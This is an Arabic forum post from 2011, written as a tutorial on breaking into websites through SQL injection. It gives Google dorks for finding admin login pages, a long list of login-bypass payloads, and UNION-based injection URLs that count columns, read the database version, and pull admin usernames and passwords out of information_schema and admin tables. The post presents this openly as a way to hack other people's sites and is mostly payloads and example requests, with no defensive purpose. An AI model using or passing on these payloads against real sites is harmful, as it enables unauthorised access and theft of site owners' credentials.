صفحتنا على الفيس بوك

شرح اختراق المواقع عن طريق حقن قواعد البيانات SQL Injection

اذهب الى الأسفل

شرح اختراق المواقع عن طريق حقن قواعد البيانات SQL Injection

مُساهمة من طرف Dr ZIZO في 2011-07-20, 18:20

Q ما هو حقن قواعد البيانات?

هى استخدام الأوامر البرمجية لحقن هذه الأوامر فى قاعدة بيانات أخرى أو استخدام هذه الأوامر للدخول كمدير للموقع.

الجزء الأول : طريقة مبسطة لحقن قواعد البيانات

الدخول إلى الموقع وسرقة حساب المدير . معظم المواقع قابلة للاختراق عن طريق هذه الحركة
فى البداية سنحتاج إلى موقعين, قم بفتح جوجل
اكتب فى البحث Google Dork ستجد مجموعة هائلة من النتائج التى نستخدمها فى اختراق المواقع وأفضل الدوركز هى

"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"

الآن بعد أن تدخل غلى الموقع ستجد رسالة تشبه هذه :

مرحبا إلى لوحة التحكم 00000 أو بالانجليزية
username :
password :

فى خانة اسم المستخدم username نكتب "Admin"
وفى خانة الباسورد نكتب حقن SQL الخاص بنا

هذه قائمة بطرق الحقن المختلفة التى نكتبها فى خانة الباسورد
' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
'or'1=1'


يوجد أيضا الكثير ولكن هذا أفضل ما أعرفه
ووظيفة هذه الأوامر هى تعقيد قواعد البيانات حتى تعطينا دخول المدير للموقع

إذن المعلومات التى ستدخلها سوف تكون هكذا

username:Admin
password:'or'1'='1

ثم اضغط Submit ومبروك عليك اختراق الموقع
ولكن لاحظ انه ليست كل المواقع قابلة للاختراق


الجزء الثانى : حقن قواعد البيانات لاستخراج اسم المدير وكلمة السر الخاصة به

لنفترض ان لدينا موقع هكذا
http://www.oooo.com/index.php?catid=1

يوجد مواقع كثيرة بهذا الشكل

"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
أو أفضل طريقة كما أخبرنى صديق لى هى
"inurl:".php?catid=" site:ooo"

طبعا الحروف ooo تستبدل بنطاق الموقع
إذن عند تحديد الموقع الذى تريد اختراقه
http://www.oooo.com/index.php?catid=1
الآن قم بغضافة حرف علامة الأبستروف إلى نهاية الرابط
ليصبح شكل الرابط هكذا
http://www.xxxx.com/index.php?catid=1'
إذا اظهر الموقع رسالة خطأ او ماشابه إذن فهو قابل للاختراق ونستطيع اختراقه
والآن نريد أن نعرف عدد العواميد فى قواعد البيانات الخاصة بالموقع
كى نعرف سنكتب
http://www.xxxx.com/index.php?catid=1 order by 1-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 2-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 3-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 4-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 5-- "error"

إذن فقواعد البيانات مكونة من اربعة عواميد أو صفوف لأننا حصلنا على خطأ عند رقم خمسة
فى بعض قواعد البيانات تجد 2 صفين فقط وفى قواعد بيانات أخرى قد تجد 200 صف وهى تختلف فى كل موقع
إذن بعد أن عرفنا عدد الصفوف الموجودة فى قواعد البيانات
سوف نجرب وظيفة الاتحاد
http://www.oooo.com/index.php?catid=1 union select 1,2,3,4-- "حسب رقم العواميد أو الصفوف الذى عرفناه"
الأرقام 1,2,3,4 ليست تكتب هكذا ولكن أريد تعليمك أننا نضع رقم العواميد هنا فقط مثلا لو اكتشفت أن الموقع له خمسة صفوف أو عواميد تكتب 5 وهكذا
والآن نريد معلومات عن قواعد البيانات
لنفترض أنه ظهر لك الرقم 2 و 4 على الشاشة
سوف أستخدم الأمر على رقم 2
http://www.oooo.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
نوع ونسخة قاعدة البانات سوف تظهر فى نافذة
إذا كانت نسخة قاعدة البيانات 4 أو أقل سوف نحتاج ثلاث أوامر لاستخراج الباسورد
http://www.oooo.com/index.php?catid=-1
UNION SELECT
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115,
37),3,4--
ينبغى أن تظهر هذه الأوامر الثلاثة اسم المدير الذى يدخل به الموقع وكلمة السر الخاصة به ولكن إذا لم يظهر شىء فعليك أن تخمن أين يمكن أن تكون الجدول الذى يوضع به أسماء الأعضاء وهذا يختلف تبعا لنوع الموقع وهل هو سكريبت مثل جوملا أو مامبو أو غيره
ولكن إذا كان اسم الجدول خاطئا اكتب

http://www.oooo.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
مكان كلمة admintablename تكتب جدول الذى تعرف أن بداخله اسم المدير وكلمة السر طبعا
concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115,
37)-- وعندما تكتب اسم الجدول الصحيح بالطبع سيظهر لك باسورد صاحب الموقع
ثم افعل نفس الخطوة ولكن مع اسم المستخدم بدلا من الباسورد
فى بعض الأحيان يكون الباسورد فى صيغة hash وستحتاج إلى تحويله بكراك

بعد ذلك حاول ان تدخل بالمعلومات التى استخرجتها إلى لوحة تحكم الموقع.. إذا لم تعرف رابط لوحة التحكم للموقع الذى تخترقه هذا ملف به قائمة طويله بأسماء السكريبتات ورابط لوحة تحكم كل منها
http://www.darkc0de.com/c0de/perl/admin_1.2_.txt

والآن إذا كانت نسخة قاعدة البيانات 5 أو أعلى
اكتب
http://www.oooo.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
وهذا الأمر سيظهر لك قائمة بجميع الجداول الموجودة فى قاعدة البيانات ابحث عن الجدول الذى يحتوى على أسماء الأعضاء والباسورد
اكتب نفس الشى هذا
http://www.oooo.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
مع تغيير كلمة admintable باسم الجدول الذى عرفته
وكرر نفس العملية مع اسم المستخدم

ولكن إذا لم تعمل كل هذه الاختراقات
فقط قم بتغيير هذا الرقم catid=1 or catid=-1 أو قم بوضع هذه العلامات /* أو ما يشابهها فقط جرب قليلا وسوف تنجح

ولكن فى بعض الأحيان نحتاج إلى استخدام version() or version@@
أو نستخدم UNION SELECT version (),password,3,4 FROM admintable--
أو UNION SELECT version @@,password,3,4 FROM admintable--

الأمر يحتاج إلى تجميع بعض الأوامر مع بعضها لكن يوجد كثير من سكريبتات الويب يتم اختراقها هكذا

تابع الدرس التالى..... وشكرا لك






عاوز هاك أو شفرات لأى لعبة فى الدنيا؟

عاوز تشحن زدبى لكروس فاير؟؟

عاوز تجمع نقاط لأى لعبة فى الدنيا؟؟؟

راســــــــــــــــلنى برسالة خاصة وهتلاقى الإجــــــــــابة إن شاء الله

DR ZIZO
avatar
Dr ZIZO
المديـــــر
المديـــــر

Total posts : 822
Age : 27
Location : المنصورة
Job/hobbies : مدير منتديات زيزو
Reputation : 17
Registration date : 10/08/2007

معاينة صفحة البيانات الشخصي للعضو http://zizoforums.yoo7.com zizo_mosad2001@yahoo.com

الرجوع الى أعلى الصفحة اذهب الى الأسفل

الرجوع الى أعلى الصفحة

- مواضيع مماثلة

 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى